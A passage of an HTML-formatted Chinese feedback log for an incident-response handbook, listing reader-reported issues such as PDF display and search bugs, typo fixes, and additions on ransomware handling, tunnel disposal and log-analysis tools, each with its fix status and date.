leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已修复</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-10 12:30</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">手册本身是有目录(标签)以及check list的，目录由PDF阅读软件自动生成，如果在页面中显式放入目录，单单目录就会占用前 30 多页内容，会给大家阅读带来障碍，</span><strong style="font-weight: bold;color: black;"><span leaf="">之前版本由于 MacOS 预览程序添加封面后与火狐浏览器以及Adobe acrobat DC不兼容，导致不显示内容或目录</span></strong><span leaf=""><br/></span><span leaf="">常规安全检查部分就是所谓的 check list</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">21. 手册显示空白&amp;不显示目录导航</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0021</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">value-0</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-19 17:28</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Github Issues</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">火狐打开手册显示空白；Adobe acrobat DC打开手册不显示目录导航</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已修复</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-10 12:30</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">由于 MacOS 预览程序添加封面后与火狐浏览器以及Adobe acrobat DC不兼容，导致不显示内容或目录</span></strong></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">22. 完善二进制校验脚本</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0022</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOP Team</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-25 11:25</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">0x16 服务程序 -&gt; 11. 进阶性排查中二进制校验脚本提取路径存在问题，遇到空格会截断</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已完善</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-06 23:52</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">23. 添加勒索病毒相关处理逻辑</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0023</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOP Team</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-26 15:09</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完善勒索病毒处理流程</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已完善</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-07 22:29</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">24. 添加修改 hosts 文件的示例</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0024</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">郑炼俊</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-06-18 17:13</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">远控后门-&gt;流量检测-&gt;地址诱骗章节完善修改 hosts 部分描述，添加图片示例</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-06 16:30</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">25. 手册无法搜索</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0025</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Heraxt</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-04 10:19</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">手册在Windows平台不能直接搜索</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已修复</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-10 12:30</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Typora Mint 主题导致，通过修改源代码已修复</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">26. 杀死进程树部分【文字错误】</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0026</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">路人甲</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-06-27 15:01</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">公众号留言</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">cmd.txt 改为 cmd.exe</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已完成</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-06 16:24</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">27. 增加隧道处置流程</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0027</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOP Team</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-07 22:31</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">增加隧道处置流程</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已完成</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-07 22:46</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">28. 勒索病毒处置部分【文字错误】</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0028</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">xxxr_sec</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-05-16 12:25</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">收到 -&gt; 受到</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已修复</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-07 22:58</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">29. 添加日志分析工具 —— </span><strong style="font-weight: bold;color: black;"><span leaf="">FullEventLogView</span></strong><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0029</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">xxxr_sec、NOP Team</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-05-16 13:53</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">添加日志分析工具 FullEventLogView</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span 